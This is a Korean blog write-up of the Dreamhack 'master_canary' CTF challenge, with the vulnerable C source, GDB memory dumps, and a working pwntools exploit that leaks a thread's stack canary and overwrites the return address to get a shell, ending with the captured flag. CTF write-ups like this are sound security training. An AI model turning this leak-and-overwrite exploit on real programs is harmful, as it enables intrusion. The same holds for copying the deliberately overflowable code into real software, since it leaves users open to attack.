[Dreamhack] master_canary

#코딩노예#·2022년 7월 28일
0

문제 코드

// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;

}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];


    initialize();

    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }
    

    return 0;
}
  • 1번 옵션으로 쓰레드를 생성할 수 있습니다.
  • 2번 옵션으로 size를 입력하고 해당 size 만큼 입력을 받을 수 있습니다. 그래서 버퍼 오버플로우가 발생합니다.
  • 3번 옵션을 보면 read 함수로 1024 Byte 크기의 입력을 받고 있어서 버퍼 오버플로우가 발생합니다.

보호 기법

root@e00b54e7d05d:~/master_canary# checksec master_canary
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/root/master_canary/master_canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary와 NX 보호 기법이 걸려있습니다.


익스플로잇 설계

⇾ 1번으로 쓰레드를 생성
⇾ 2번으로 master canary Leak
⇾ 3번으로 get_shell() 주소로 RET Overwrite


공격 준비

환경: ubuntu 16.04

먼저 카나리 릭을 위해 buffer ~ canary 까지 거리를 구해보면

gef➤  disas thread_routine
Dump of assembler code for function thread_routine:
   0x0000000000400a5b <+0>:     push   rbp
   0x0000000000400a5c <+1>:     mov    rbp,rsp
   0x0000000000400a5f <+4>:     sub    rsp,0x110
   0x0000000000400a66 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400a6f <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400a73 <+24>:    xor    eax,eax
   0x0000000000400a75 <+26>:    lea    rax,[rbp-0x110]
   0x0000000000400a7c <+33>:    mov    QWORD PTR [rip+0x20162d],rax        # 0x6020b0 <global_buffer>
   0x0000000000400a83 <+40>:    nop
   0x0000000000400a84 <+41>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400a88 <+45>:    xor    rdx,QWORD PTR fs:0x28
   0x0000000000400a91 <+54>:    je     0x400a98 <thread_routine+61>
   0x0000000000400a93 <+56>:    call   0x400820 <__stack_chk_fail@plt>
   0x0000000000400a98 <+61>:    leave  
   0x0000000000400a99 <+62>:    ret    
End of assembler dump.
gef➤  b * 0x0000000000400a84
Breakpoint 1 at 0x400a84
gef➤  r
Starting program: /root/master_canary/master_canary 
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
1. Create thread
2. Input
3. Exit
> 1
[New Thread 0x7f4cabbc1700 (LWP 2717)]
1. Create thread
2. Input
3. Exit
> [Switching to Thread 0x7f4cabbc1700 (LWP 2717)]

Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a84 in thread_routine ()
gef➤  x/x $rbp-0x110
0x7f4cabbc0e40: 0x00000000
gef➤  x/40gx 0x7f4cabbc0e40+0x800
0x7f4cabbc1640: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1650: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1660: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1670: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1680: 0x0000000000000000      0x00007f4cabf87420
0x7f4cabbc1690: 0x00007f4cabbc1db8      0x0000000000000000
0x7f4cabbc16a0: 0x00007f4cabd387e0      0x00007f4cabd38de0
0x7f4cabbc16b0: 0x00007f4cabd396e0      0x0000000000000000
0x7f4cabbc16c0: 0x0000000000000000      0x0000000000000000
0x7f4cabbc16d0: 0x0000000000000000      0x0000000000000000
0x7f4cabbc16e0: 0x0000000000000000      0x0000000000000000
0x7f4cabbc16f0: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1700: 0x00007f4cabbc1700      0x0000000000e3d020
0x7f4cabbc1710: 0x00007f4cabbc1700      0x0000000000000001
0x7f4cabbc1720: 0x0000000000000000      0x27098324fd54a700
0x7f4cabbc1730: 0x623173367bb4b7e7      0x0000000000000000
0x7f4cabbc1740: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1750: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1760: 0x0000000000000000      0x0000000000000000
0x7f4cabbc1770: 0x0000000000000000      0x0000000000000000
gef➤  x/x 0x7f4cabbc1728-0x7f4cabbc0e40
0x8e8:  Cannot access memory at address 0x8e8

거리차는 0x8e8입니다.

master canary 값은 변하지 않기 때문에, 'A'를 0x8e9개 넣어서 master canary를 릭하면 될거 같습니다.


익스플로잇 코드

이제 익스플로잇 코드를 짜보면

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

p = remote("host3.dreamhack.games", 19463)
elf = ELF('./master_canary')

get_shell = elf.symbols['get_shell']


# Master Canary Leak
payload = b"A" * 0x8e9

inp_sz = len(payload)

p.sendlineafter("> ", '1')
p.sendlineafter("> ", '2')

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.recvuntil('A' * inp_sz)
canary = u64(p.recvn(7).rjust(8, b'\x00'))
slog("canary", canary)


# RET Overwrite
payload = b'A' * 40
payload += p64(canary)
payload += b'B' * 8
payload += p64(get_shell)

p.sendlineafter("> ", '3')
p.sendlineafter('Leave comment: ', payload)

p.interactive()

익스플로잇 코드를 실행시켜보면

root@e00b54e7d05d:~/master_canary# python remote.py 
[+] Opening connection to host3.dreamhack.games on port 19463: Done
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/root/master_canary/master_canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0x47f76927ddbbcd00
[*] Switching to interactive mode
$ 

공격에 성공해서 쉘이 떴습니다.


플래그를 출력해보면

$ ls
flag
master_canary
$ cat flag
DH{7c0bfdbd75bc61acadbe856d6738758b}

0개의 댓글